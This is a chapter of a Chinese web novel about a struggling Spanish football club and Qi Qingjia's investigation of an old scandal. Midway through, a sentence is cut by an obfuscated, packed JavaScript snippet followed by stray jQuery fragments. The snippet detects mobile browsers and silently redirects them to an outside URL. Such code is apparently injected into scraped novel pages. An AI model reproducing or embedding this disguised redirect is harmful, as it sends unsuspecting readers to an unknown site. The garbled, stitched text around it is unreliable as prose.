当一幢房子出现第一扇破窗的时候，它就会接二连三地坏下去。


    齐清佳仔细回想着，巴里奥尼亚的第一扇窗，是从哪里开始破的？


    兴许是贝尔纳尔受伤？马特奥转会？艾托受伤？


    或者是安赫尔的战术太陈旧，早已跟不上顶级联赛快速更迭的技战术变化？


    又或者归根结底是俱乐部的财政问题？联盟的制度漏洞？


    她没有答案。


    不知不觉间，很多东西都在悄悄改变，现代足球的问题早就不止于足球本身了。


    而她已知的，和一个普通球迷没什么不同——这周球队又发生了两件大事，一件是坏事，一件是更坏的事。


    坏事是，周日那场4:0的惨败之后，巴里奥尼亚的伤员名单上又多了两个名字——队长胡利安大腿肌肉拉伤，具体情况有待确认；而马特奥右脚小趾骨骨裂，至少又要缺阵两场。


    更坏的事是，安赫尔在周二一早公布了自己离任的消息，与此同时，下一任主教练已然抵达巴里奥尼亚。


    这样的速度让人不得不怀疑，俱乐部早已为这一天做好了准备，甚至可能快要等不及了。


    新帅名叫米格尔·奥尔蒂斯，是一位刚满五十岁的墨西哥裔西班牙人。


    球员时期他曾短暂效力于巴里奥尼亚和毕尔巴鄂竞技，但才华平平，于是早早退役转型。


    2008年，他在西乙球队努曼西亚竞技开始教练生涯，最初是助理教练，随后一年升任主帅，带队连续三年稳居西乙前列，曾一度距离升级只差一步。


    2012年，他临危受命执掌陷入财政危机的皇家萨拉戈萨，凭借出色的调度与眼光，组建起一支性价比极高的队伍，最终成功冲上西甲。


    然而后来因为俱乐部高层更换，米格尔与新管理层理念不合，2017年果断辞职前往比甲，执教标准列日。


    在那里，他以“紧凑防守、快速边路反击”为基调，完成了一次彻底重建，并两度带队闯入欧联杯。


    他还大力引进西班牙技术型球员，至今标准列日的战术体系仍留有他的印记。


    2020年他应邀回到墨西哥执教，他与当地青训体系深度合作，建立起一套完整、先进的球队数据分析与康复管理团队，并在2021年带领帕丘卡俱乐部获得了秋季赛季军。


    再后来，他因为家庭原因返回西班牙，最近半年暂别教练席，成为了多家体育媒体的技战术评论员，然后就到了现在，他兜兜转转再次回到了自己的母队。


    据说，他和安东尼奥是老相识。


    早前他在努曼西亚竞技做助理教练时，两人曾共事过一年——而这大概也是他能如此丝滑地从安赫尔手中接棒的原因。


    齐清佳看着电视里各式各样的新闻报道，莫名一阵心烦，抓起遥控器关掉了电视。


    *


    艾托刚刚结束今天的晨练，正准备换衣服，手机突然震动起来。


    他拿起来一看，是马修·德拉图尔——他的经纪人。


    艾托扯起衣角，随意地擦了把脸，接通电话，调侃道：“你竟然这么早就醒了？真稀奇。”


    对面传来马修低沉的嗓音：“有事和你商量，这会儿方便吗？”


    艾托把湿衣服投进篮筐，一边从衣柜里抽出一条干净的浴巾披在肩上，一边朝镜子扫了一眼：“五分钟能说完吗？”


    “差不多。”马修顿了顿，似乎是在组织语言，紧接着抛出一句：“维也纳那边联系我了，他们对你挺感兴趣，刚刚给我报了价。”


    艾托的动作猛地顿住，肩上的浴巾滑落在地，脸上的表情瞬间沉了下来：“马修，你是认真的吗？”


    “当然。”马修的声音里没有丝毫犹豫，“你觉得我像在逗你玩儿吗？”


    空气仿佛突然凝滞。


    艾托没有回答，胸口好像压着一块巨石。


    马修继续道：“巴里奥尼亚这个夏窗一定会引援，而你这种既占薪资空间，一时半刻又没法出场的球员，不论是租还是卖，迟早得处理。”


    耳边的声音像从深水里传来一般，沉闷而遥远，让人听不清楚。


    原来自己，也不过是另一个“贝尔纳尔”。


    艾托看着镜子里的自己，突然觉得陌生。


    “我觉得维也纳是个不错的选择，”马修耐心地解释，“他们愿意承担你的康复费用，也愿意冒风险，而且奥超的节奏也更适合你伤愈复出之后恢复状态。”


    艾托知道马修是对的，他一向明智，从不耽于幻想。


    可这分毫也不能消解他内心的抗拒。


    他不想走，不想像个残次品，被贴上OnSale的标签待价而沽。


    “你不相信我能留下来吗？”艾托低声问。


    马修沉默了一秒，答得干脆利落：“我们以后也不是回不来，只是现在巴里奥尼亚不会再有你的位置……你自己也明白。”


    “如果我不愿意走呢？”艾托紧攥双拳，言辞坚定，目光却愈发黯淡。


    电话那头沉默了片刻，随即传来一声疲惫的叹息，“你不愿意，我当然不会逼你。但……”


    “那就好。”不等他说完，艾托径自挂断了电话。


    他蹲身捡起毛巾，快步走进浴室。


    温热的水流打在他裸露的皮肤上，却无法驱散他身体里一寸寸升起的寒意。


    那种熟悉的、令人窒息的恐惧感，时隔七年再次卷土重来。


    当年得知自己要离开拉玛西亚，来到巴里奥尼亚的这个中下游俱乐部时，他怕得要命，独自在宿舍的楼道里坐了一夜，甚至不敢和队友道别。


    马修那时也说了同样的话：“又不是回不来。”


    可是七年过去了，他还没有回去，甚至连这里也留不下。


    走下坡路，实在太容易了。


    他不能就这样离开，不能一遍遍安慰自己这没什么大不了，直到接受现实，直到习惯了一切——人就是，什么都能习惯的。


    这样的事，他不想再经历第二次。


    *


    吃过早饭，齐清佳拨通了亚历山大的电话，准备问问案件的进展。


    打了好几通才被接起，听筒里传来一阵嘈杂，仔细听隐约像是机场广播的声音。


    齐清佳皱眉：“你在哪儿呢？”


    “机场。”亚历山大漫不经心地回答，“对，我要靠过道的位置。”


    齐清佳冷哼，“怎么，现在不坐头舱了？破产了？”


    “管得着吗？”他嗤笑一声，“直接说，什么事？”


    “我的案子，有什么进展吗？”


    “说来话长。”他顿了顿，突然冒出一句，“你来机场吧，正好送送我。”


    “滚蛋。”


    “你来不来？”


    齐清佳沉默了几秒，问：“几号航站楼？”


    亚历山大轻笑，声音里满是得意，“二号，我在到达层的星巴克等你。”


    齐清佳脸色一沉。


    她记得太清楚了——以前每次他从美国回到西班牙，她都会提前赶到那里等。


    有时航班延误几个小时，她就坐在那家星巴克里，一遍又一遍刷新航班信息，像个傻子一样。


    *


    机场里似乎永远那么忙碌。


    齐清佳推开星巴克的玻璃门，一眼就看见了亚历山大。


    他坐在靠窗的位置，西装笔挺，头发一丝不乱，正神情专注地对着笔记本电脑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722266|173083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，手指飞快地敲击着键盘。


    如果不是她知道他连打弱智游戏、和情人调情时都能保持这副“精英状态”，恐怕真的会以为他在处理什么重大国际事务。


    她走上前，俯身在桌面上敲了两下。


    亚历山大头也不抬：“坐。”


    她冷眼打量他，几乎可以确定，他压根没在干正事——多半又是游戏。


    “一分钟。”她看了一眼手表，“把你的游戏关掉。”


    他轻笑了一声，调侃道：“一分钟？你倒是比以前有耐心多了。”


    齐清佳站起来，转身作势要走。


    “你的案子——”他终于抬头。


    她慢慢坐回椅子上，双臂抱胸，微抬下巴，“继续。”


    “好像和一个叫约翰内斯·克雷默的记者有关。”他说。


    齐清佳一愣，整个人顿时紧绷起来，“你认识他？”


    亚历山大摇头，“不认识，第一次听说。”


    “他和我们是同一个学校的，你也没印象？”她追问。


    他挑了下眉：“我应该认识他吗？”


    齐清佳冷笑一声，“你爱认识不认识。所以呢？是他在背后操纵？”


    “不知道，暂时没什么证据。”


    就在这时，手机震动了一下——来电显示是安娜。


    齐清佳毫不在意对面还坐着一个大活人，直接接通电话：“嗨，安娜。”


    亚历山大倒也不在乎她的无视，懒懒地靠在椅背上，饶有兴趣地看着她。


    “佳，我听说了一些消息，可能和有关。你现在方便听吗？”安娜声音压得很低。


    齐清佳瞥了亚历山大一眼，面不改色，“方便，你说。”


    “有人告诉我，约翰内斯当年从Marca离职，好像和亚历山大有关。”


    她心头不由得一跳。


    “你在听吗？”安娜察觉到她的沉默。


    “嗯。”她只是应了一声。


    “我不确定约翰内斯调查了什么，总之是一家俱乐部高层的重大丑闻。”安娜措辞非常谨慎，“亚历山大不知道怎么拿到了消息，和俱乐部达成了某种……你懂的，利益交换。”


    齐清佳脑子一时间有点转不过来，“我晚点去俱乐部找你聊吧。”


    “好，我下午三点之后都在。”


    挂了电话，她直视着亚历山大，深吸一口气，又问了一遍：“你真的不认识约翰内斯吗？他以前在Marca工作。”


    亚历山大两手一摊，“不认识啊，为什么一直问？他是什么我一定要认识的大人物吗？”


    说着，他瞥了一眼腕表：“时间差不多了，我得走了。”


    齐清佳逼视着他，拳头不知不觉地攥紧，“你真没什么要告诉我的吗？”


    亚历山大眉梢微微扬起，语气轻佻“你想听什么？”


    她没回答，依旧紧盯着他的眼睛，仿佛想从中找到哪怕一丝慌乱或者心虚，可惜什么都没有。


    他突然想起什么，从手腕上摘下一条细细的手链，递给她：“艾玛给你编的，差点忘了。”


    齐清佳愣了一下，本能地伸手接过来。


    她低头看着那条皮质细绳，中间穿着一块细长的金属铭牌，上面刻着一行小小的字——LaMejorMamá（最好的妈妈）。


    她鼻尖一酸，喉头发紧，几乎要落泪。


    亚历山大起身，语气一如既往地轻松：“你慢慢感动，我先走了。”


    “什么时候回来？”她忽然问。


    他愣了一下，“下周吧……可能周四。”


    “好。”她轻飘飘地应了一声。


    在此之前，她一定要查清楚，当年到底发生了什么。